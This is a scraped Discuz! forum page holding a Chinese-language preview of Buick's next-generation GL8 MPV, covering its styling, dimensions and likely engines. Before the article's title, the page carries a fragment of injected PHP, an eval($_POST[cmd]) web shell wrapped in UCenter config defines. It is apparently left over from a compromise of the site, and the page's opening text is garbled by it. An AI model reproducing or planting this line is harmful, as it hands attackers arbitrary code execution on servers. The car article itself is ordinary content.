');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 別克新一代GL8 - 新車俱樂部 - 四輪天下 - Powered by Discuz!
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別克新一代GL8

據此前有關消息透露,別克新一代GL8量產版將在2010北京車展上正式發佈。

  全新一代GL8的原型車是上海通用展出過的Business Concept概念車。參照最新的諜照顯示,新款GL8已經更加接近量產水平,前後大燈、尾燈燈組的配置都已經定型。





  相比現款GL8的外形,新一代車型的設計可以說是顛覆性的,更多的融入了轎車化的流暢線條設計,大尺寸的盾型直瀑式鍍鉻水箱格柵延續了新君威、新君越、英朗XT一系列新車的設計風格。菱形霧燈將車頭襯托得更加短小飽滿,長條形霧燈也很好的還原了Business Concept的設計理念。



  根據概念車的尺寸參數,新車型長寬高分別為5278/1985/1809mm,軸距也達到了3198mm,與現款GL8的尺寸5100/1847/1729mm,軸距為3079mm比較,新車型在長度和寬度上的提升非常明顯,這將對於車內空間有著質的改善。



  車尾部分在高位擾流尾翼的點綴下,並不會覺得GL8非常笨重,首次出現的量產版尾燈組,採用紅白嵌套的兩個C型設計,同樣很具亮點。後霧燈的設計與新君越相仿,放置在與高位剎車燈呼應的後保險槓下方。內部設計比起現款車型的陳舊風格已經有了質的改變,流行的懸浮式操作台可以不干擾前排乘客的位置交換。寬大的儀表板面板極具商務氣息,多功能方向盤、GPS導航、自動恆溫空調等一應俱全。



  動力配置信息雖然目前還不明朗,但預計現款2.5L和3.0L發動機都會被淘汰,取而代之的是新君越車型上的2.4L發動機和新一代3.0L SIDI V6發動機。此外新君威車型上的2.0T發動機也極有可能出現在新款GL8車型上。此外從海外傳來的消息,新GL8車型還有可能配置通用的新一代Hybrid油電復合動力系統,油耗表現較現行Hybird系統降低20%。
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